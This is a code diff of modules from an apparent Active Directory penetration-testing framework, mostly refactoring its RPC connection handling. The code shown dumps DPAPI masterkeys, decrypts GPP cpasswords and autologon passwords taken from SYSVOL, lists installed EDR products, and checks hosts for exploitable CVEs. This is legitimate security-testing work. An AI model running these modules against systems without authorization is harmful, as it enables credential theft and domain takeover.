self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+11 -20
View File
@@ -1,7 +1,8 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,31 +46,21 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
+2 -1
View File
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -1083,7 +1084,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("Length", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+11 -11
View File
@@ -3,16 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
@@ -200,7 +200,7 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
It could be interesting to implement the write/remove functions here.
"""
name = "daclread"
@@ -249,10 +249,10 @@ class NXCModule:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
@@ -288,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -306,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
+3 -28
View File
@@ -1,15 +1,12 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -19,33 +16,11 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+1
View File
@@ -50,6 +50,7 @@ class NXCModule:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+1 -1
View File
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
def on_login(self, context: Context, connection):
+22 -91
View File
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,20 +45,8 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -103,82 +91,11 @@ class NXCModule:
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def __init__(self, connection=None):
self.connection = connection
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -287,6 +204,13 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
@@ -500,6 +424,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
+16 -1
View File
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -68,8 +70,18 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -81,6 +93,9 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+56 -19
View File
@@ -1,7 +1,8 @@
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
@@ -32,6 +33,9 @@ class NXCModule:
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
@@ -54,19 +58,9 @@ class NXCModule:
def on_login(self, context, connection):
connection.trigger_winreg()
# Connect to RemoteRegistry to read UBR from registry
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Query the UBR
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
@@ -112,10 +106,6 @@ class NXCModule:
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
@@ -183,5 +173,52 @@ class NXCModule:
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
}
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
}
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+13 -39
View File
@@ -1,9 +1,10 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -110,18 +111,7 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -142,37 +132,21 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
+1
View File
@@ -22,6 +22,7 @@ class NXCModule:
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
-11
View File
@@ -7,23 +7,12 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
+26 -31
View File
@@ -15,45 +15,40 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+57 -62
View File
@@ -21,82 +21,77 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+68 -93
View File
@@ -1,8 +1,9 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -98,24 +99,25 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
self.context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
